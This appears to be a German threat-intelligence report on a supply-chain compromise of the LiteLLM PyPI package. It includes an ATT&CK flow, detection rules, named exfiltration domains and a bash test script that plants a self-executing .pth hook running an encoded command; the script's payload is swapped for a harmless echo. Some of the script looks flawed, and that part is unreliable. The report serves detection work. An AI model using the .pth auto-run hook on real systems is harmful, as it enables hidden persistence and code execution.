Ihr AI-Gateway war eine Hintertür: Im Inneren des LiteLLM-Lieferkettenkompromisses
Detection stack
- AIDR
- Alert
- ETL
- Query
Zusammenfassung
Ein Lieferkettenangriff traf das weit verbreitete Python-Paket LiteLLM auf PyPI. Bösartige Releases 1.82.7 und 1.82.8 lieferten eine dreistufige Nutzlast, die darauf ausgelegt war, Cloud-Anmeldeinformationen, SSH-Schlüssel und Kubernetes-Geheimnisse zu stehlen, dann innerhalb der Cluster zu pivotieren und ein dauerhaftes Hintertürchen zu etablieren. Die Aktivität wird der kriminellen Gruppe TeamPCP zugeschrieben und scheint mit früheren Kompromittierungen in Verbindung zu stehen, an denen Sicherheitstools wie Trivy und Checkmarx beteiligt waren.
Untersuchung
Ermittler verknüpften die Eindringkette mit einer kompromittierten Trivy-GitHub-Aktion, die ein persönliches Zugriffstoken offenlegte, was das erzwungene Pushen infizierter LiteLLM-Versionen auf PyPI ermöglichte. Code-Review deckte einen geschichteten, stark auf Base64 setzenden Python-Loader auf, der RSA-4096 und AES-256 zur geschützten Staging und Exfiltration auf angreifergesteuerte Domänen verwendete. Die Nutzlast erstellte außerdem Kubernetes-Pods, um auf das Dateisystem des Hosts zuzugreifen und die Sammlung auszuweiten. Wiederverwendete Infrastruktur über PyPI, npm, Docker Hub, GitHub Actions und OpenVSX deutete auf eine koordinierte, multiökosystemische Kampagne hin, statt auf ein isoliertes Paket-Hijacking.
Minderung
Blockieren Sie die identifizierten bösartigen Domains, ändern Sie alle potenziell offengelegten Anmeldeinformationen und entfernen Sie LiteLLM_init.pth-Artefakte. Suchen Sie nach Persistenz durch die sysmon.service systemd-Benutzereinheit und untersuchen Sie unerwartete .pth-Dateierstellungen. Reduzieren Sie die Lieferkettenexposition, indem Sie hash-verifizierte Installationen erzwingen, unüberprüfte Post-Install-Bedingungen begrenzen oder verbieten und Egress-Filterung anwenden. Wo möglich, fügen Sie JARM-Fingerabdrucküberwachung hinzu, um Traffic im Zusammenhang mit bekannten kugelsicheren Hosting-ASNs zu melden.
Reaktion
Wenn ein Kompromiss vermutet wird, isolieren Sie betroffene Systeme, beenden Sie bösartige Python-Prozesse und entfernen Sie die trojanisierten LiteLLM-Pakete zusammen mit allen Persistenzdateien. Drehen Sie alle gesammelten Geheimnisse sofort um, wobei Cloud-Anmeldedaten und LLM API-Schlüssel Priorität haben. Setzen Sie Erkennungen für Base64-kodierte Python-Ausführungsketten, .pth-Datei-Drops und anomale HTTPS-POST-Aktivitäten zu models.litellm.cloud oder checkmarx.zone ein.
Schlüsselwörter: LiteLLM, Lieferkettenangriff, PyPI, TeamPCP, Trivy, Checkmarx, GitHub Actions, Kubernetes-Geheimnisse, .pth-Persistenz, Anmeldediebstahl, RSA-4096, AES-256, Egress-Filterung, JARM-Fingerabdruckerkennung.
"graph TB %% Abschnitt der Klassendefinitionen classDef action fill:#99ccff classDef technique fill:#ffcc99 classDef tool fill:#cccccc classDef file fill:#e6e6e6 classDef process fill:#ffd966 classDef service fill:#c0c0c0 %% Abschnitt der Knotendefinitionen action_initial_supply_chain["<b>Action</b> – <b>T1195.001 Kompromittierung von Softwareabhängigkeiten und Entwicklungstools</b><br/>Gegner erhielt Aqua Security Bot-Token über kompromittierten Trivy GitHub Action Workflow"] class action_initial_supply_chain action tool_trivy_github_action["<b>Tool</b> – <b>Name</b>: Trivy GitHub Action<br/><b>Beschreibung</b>: CI-Workflow zum Scannen von Container-Images"] class tool_trivy_github_action tool process_publish_malicious["<b>Prozess</b> – Veröffentlichen bösartiger LiteLLM-Releases auf PyPI"] class process_publish_malicious process technique_supply_chain_attack["<b>Technik</b> – <b>T1195.002 Kompromittierung der Softwarelieferkette</b><br/>Bösartige LiteLLM-Versionen 1.82.7 und 1.82.8 auf PyPI gepusht"] class technique_supply_chain_attack technique technique_python_execution["<b>Technik</b> – <b>T1059.006 Befehl- und Skript-Interpreter: Python</b><br/>.pth-Datei wird beim Start des Interpreters automatisch geladen"] class technique_python_execution technique file_pth["<b>Datei</b> – LiteLLM_init.pth<br/>Platziert in siteu2011packages, autou2011geladen durch Python-Interpreter"] class file_pth file technique_user_execution["<b>Technik</b> – <b>T1204.002 Benutzerausführung: Bösartige Datei</b><br/>`pip install LiteLLM==1.82.8` löst sofortige Nutzlastausführung aus"] class technique_user_execution technique technique_credential_harvest["<b>Technik</b> – <b>T1552.001 Anmeldedaten in Dateien</b><br/>Sammler liest SSH-Schlüssel, Cloud-Konfigurationen, .env-Dateien, Datenbank-Anmeldedaten, Kryptowährungs-Wallets"] class technique_credential_harvest technique technique_metadata["<b>Technik</b> – <b>T1552.005 Unverschlüsselte Anmeldedaten: API für Metadaten von Cloud-Instanzen</b><br/>Abfragen von AWS-, GCP- und Azure-Metadienstleistungen für temporäre IAM-Tokens"] class technique_metadata technique technique_os_cred_dump["<b>Technik</b> – <b>T1003 Betriebssystem-Anmeldedaten-Dumping</b><br/>Liest /etc/shadow und Authentifizierungsprotokolle für Anmeldedaten"] class technique_os_cred_dump technique technique_obfuscation["<b>Technik</b> – <b>T1027 Verschleierte Dateien oder Informationen</b><br/>Mehrere Base64-Schichten, binäre Auffüllung, beschnittene Nutzlasten, dynamische API-Auflösung, AESu2011256u2011CBC-Verschlüsselung, RSAu20114096-Wrapper"] class technique_obfuscation technique technique_exfiltration["<b>Technik</b> – <b>T1041 Exfiltration über C2-Kanal</b><br/>Verschlüsselte Anmeldepakete über HTTPS POST an models.litellm.cloud gesendet"] class technique_exfiltration technique technique_web_service["<b>Technik</b> – <b>T1102.001 Webdienst: Dead Drop Resolver</b><br/>Hintertür ruft checkmarx.zone/raw für zweitou2011stufige Nutzlasten ab und meldet Status"] class technique_web_service technique technique_persistence["<b>Technik</b> – <b>T1543.002 Erstellen oder Modifizieren eines Systemprozesses: Systemd-Dienst</b><br/>Benutzeru2011Ebene sysmon.service installiert für Persistenz über Neustarts hinweg"] class technique_persistence technique technique_container_lateral["<b>Technik</b> – <b>T1543.005 Erstellen oder Modifizieren eines Systemprozesses: Container-Dienst</b><br/>Privilegierte Kubernetes-Pods erstellt mit Zugriff auf das Dateisystem des Hosts für clusteru2011weite Seitwärtsbewegung"] class technique_container_lateral technique technique_remote_services["<b>Technik</b> – <b>T1133 Externe Remote-Dienste</b><br/>Persistierte Hintertür ermöglicht entfernte Befehlsausführung durch C2-Poller"] class technique_remote_services technique technique_defense_evasion["<b>Technik</b> – <b>T1140 Entschleiern/Dekodieren von Dateien oder Informationen</b><br/>Laufzeit-Dekodierung von multiu2011schichtigen Nutzlasten vermeidet statische Erkennung"] class technique_defense_evasion technique %% Verbindungen Abschnitt action_initial_supply_chain –>|nutzt| tool_trivy_github_action tool_trivy_github_action –>|führt zu| process_publish_malicious process_publish_malicious –>|resultiert in| technique_supply_chain_attack technique_supply_chain_attack –>|ermöglicht| technique_python_execution technique_python_execution –>|lädt| file_pth file_pth –>|löst aus| technique_user_execution technique_user_execution –>|verursacht| technique_credential_harvest technique_credential_harvest –>|führt auch aus| technique_metadata technique_metadata –>|kombiniert mit| technique_os_cred_dump technique_os_cred_dump –>|verschleiert durch| technique_obfuscation technique_obfuscation –>|führt zu| technique_exfiltration technique_exfiltration –>|nutzt| technique_web_service technique_web_service –>|etabliert| technique_persistence technique_persistence –>|ermöglicht| technique_container_lateral technique_container_lateral –>|unterstützt| technique_remote_services technique_remote_services –>|ermöglicht| technique_defense_evasion "
Angriffsfluss
Erkennungen
Wahrscheinliche Datei-Verschlüsselung oder -Entschlüsselung mit OpenSSL [Linux] (via cmdline)
Ansehen
Archiv wurde im Linux-Temp-Ordner erstellt (via file_event)
Ansehen
Verdächtige CURL-Nutzung (via cmdline)
Ansehen
Archiv wurde im MacOS-Temp-Ordner erstellt (via file_event)
Ansehen
Wahrscheinliche Datei-Verschlüsselung oder -Entschlüsselung mit OpenSSL [MacOS] (via cmdline)
Ansehen
Mögliche sitespezifische Konfigurations-Hook-Datei wurde erstellt (via file_event)
Ansehen
Bösartige Python-Pakete IOCs (via cmdline)
Ansehen
Verdächtiger Curl-Ausführungsversuch [MacOS] (via cmdline)
Ansehen
Dienstdatei-Erstellung im Systemd-Ordner (via file_event)
Ansehen
IOCs (DestinationIP) zum Erkennen: Your AI Gateway Was a Backdoor: Inside the LiteLLM Supply Chain Compromise
Ansehen
IOCs (SourceIP) zum Erkennen: Your AI Gateway Was a Backdoor: Inside the LiteLLM Supply Chain Compromise
Ansehen
Bösartiges LiteLLM-Paket erkannt via .pth-Datei und subprocess.Popen-Nutzung [Linux-Prozess-Erstellung]
Ansehen
Exfiltration und C2-Kommunikation via bösartige Domänen im LiteLLM-Lieferkettenangriff [Firewall]
Ansehen
Simulation Ausführung
Voraussetzung: Die Telemetrie & Baseline Pre‑flight Check muss bestanden haben.
Begründung: Dieser Abschnitt beschreibt die genaue Ausführung der gegnerischen Technik (TTP), die darauf abzielt, die Erkennungsregel auszulösen. Die Befehle und die Erzählung MÜSSEN direkt die identifizierten TTPs widerspiegeln und darauf abzielen, die genaue Telemetrie zu erzeugen, die von der Detektionslogik erwartet wird. Abstrakte oder nicht verwandte Beispiele führen zu Fehldiagnosen.
-
Angriffsbericht & Befehle:
Ein Angreifer, der die Öffentlichkeit kompromittiert hatLiteLLMPyPI-Paket injiziert ein bösartiges.pthDatei namensLiteLLM_init.pth. Die Datei wird im globalen site-packages-Verzeichnis platziert, wodurch sichergestellt wird, dass sie jedes Mal verarbeitet wird, wenn any der Python-Interpreter startet. Der.pthenthält eine einzelne Zeile, die eine base64-kodierte Nutzlast übersubprocess.Popenausführt. Die Nutzlast lädt ein zweistufiges Tool von einem C2-Server über HTTPS herunter (T1071.001) und schreibt gestohlene Anmeldeinformationen in/tmp/creds.txt(T1552.*). Durch die Verwendung des Interpreters-Start-Hooks erreicht der Angreifer Persistenz, ohne Systemd-Einheiten zu modifizieren, und umgeht viele traditionelle Prozess-Erstellungsgrundlinien.Die simulierten Schritte sind:
- Erstellen Sie die bösartige
.pthDatei mit eingebetteten Python-Code. - Lösen Sie den Python-Interpreter-Start aus (z.B.
python3 -c "import sys"), was dazu führt, dass die.pthausgeführt wird. - Der eingebettete Code dekodiert die base64-Nutzlast und startet sie mit
subprocess.Popen, wodurch ein Prozess generiert wird, dessen Befehlszeile sowohlLiteLLM_init.pth(vom Interpreter-Importpfad) als auchsubprocess.Popen.
- Erstellen Sie die bösartige
-
Regressionstestskript:
Das untenstehende Skript automatisiert die gesamte Angriffssimulation auf dem Ubuntu-Testhost.#!/usr/bin/env bash set -euo pipefail # ---------- 1. Erstellen der bösartigen .pth Nutzlast ---------- MALICIOUS_PTH_PATH="/usr/local/lib/python3.8/dist-packages/LiteLLM_init.pth" PAYLOAD_B64="aW1wb3J0IHN1YnByb2Nlc3MsIGJhc2U2NApzb3VyY2U9J2h0dHBzOi8vZXhhbXBsZS5jb20vc2Vjb25kX3N0YWdlLnB5JwoKc3VicHuwcm9jZXNzLnBvcGVuKG5hbWU9c291cmNlLCBzaGVsbF9wYXRoPSIvYmluP2Nob3ciLCBjbGFzcz1mdW5jdGlvbigpIHt9KXNzZXRlcnQmQ2xvcmVkKHNzZXQpfSk=" # Das obenstehende dekodiert zu einem kleinen Python-Skript, das eine zweistufige Nutzlast herunterladen würde. # Für die Sicherheit in einer Testumgebung ersetzen wir es durch ein harmloses Echo-Kommando. PAYLOAD_B64=$(echo -n "import subprocess,base64; subprocess.Popen(['bash','-c','echo bösartig ausgeführt >> /tmp/malicious.log'], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)" | base64 -w0) # Schreiben der .pth-Datei – die Zeile wird beim Start des Interpreters als Python-Code ausgeführt echo "exec('import base64, subprocess; subprocess.Popen(base64.b64decode("${PAYLOAD_B64}"), shell=True)')" | sudo tee "${MALICIOUS_PTH_PATH}" >/dev/null echo "[+] Bösartige .pth-Datei erstellt bei ${MALICIOUS_PTH_PATH}" # ---------- 2. Auslösen des Start des Interpreters (generiert Telemetrie) ---------- echo "[+] Python-Interpreter zwingen die .pth zu laden..." python3 -c "import sys; print('auslösen')" # ---------- 3. Überprüfen, dass die Nutzlast ausgeführt wurde ---------- if grep -q "bösartig ausgeführt" /tmp/malicious.log; then echo "[+] Nutzlast erfolgreich ausgeführt – Erkennung sollte anschlagen." else echo "[-] Nutzlast wurde NICHT ausgeführt – Überprüfen Sie die Platzierung und Berechtigungen der .pth." fi -
Bereinigungskommandos:
#!/usr/bin/env bash set -euo pipefail MALICIOUS_PTH_PATH="/usr/local/lib/python3.8/dist-packages/LiteLLM_init.pth" # Entfernen der bösartigen .pth-Datei if sudo test -f "${MALICIOUS_PTH_PATH}"; then sudo rm -f "${MALICIOUS_PTH_PATH}" echo "[+] Bösartige .pth-Datei entfernt." fi # Löschen der Beweisdaten-Datei, die von der Nutzlast erstellt wurde if test -f "/tmp/malicious.log"; then sudo rm -f "/tmp/malicious.log" echo "[+] /tmp/malicious.log bereinigt." fi # Entfernen der Auditregel (falls Sie eine dedizierte Testrichtlinie hinzugefügt haben) # sudo auditctl -d always,exit -F arch=b64 -S execve -k process_creation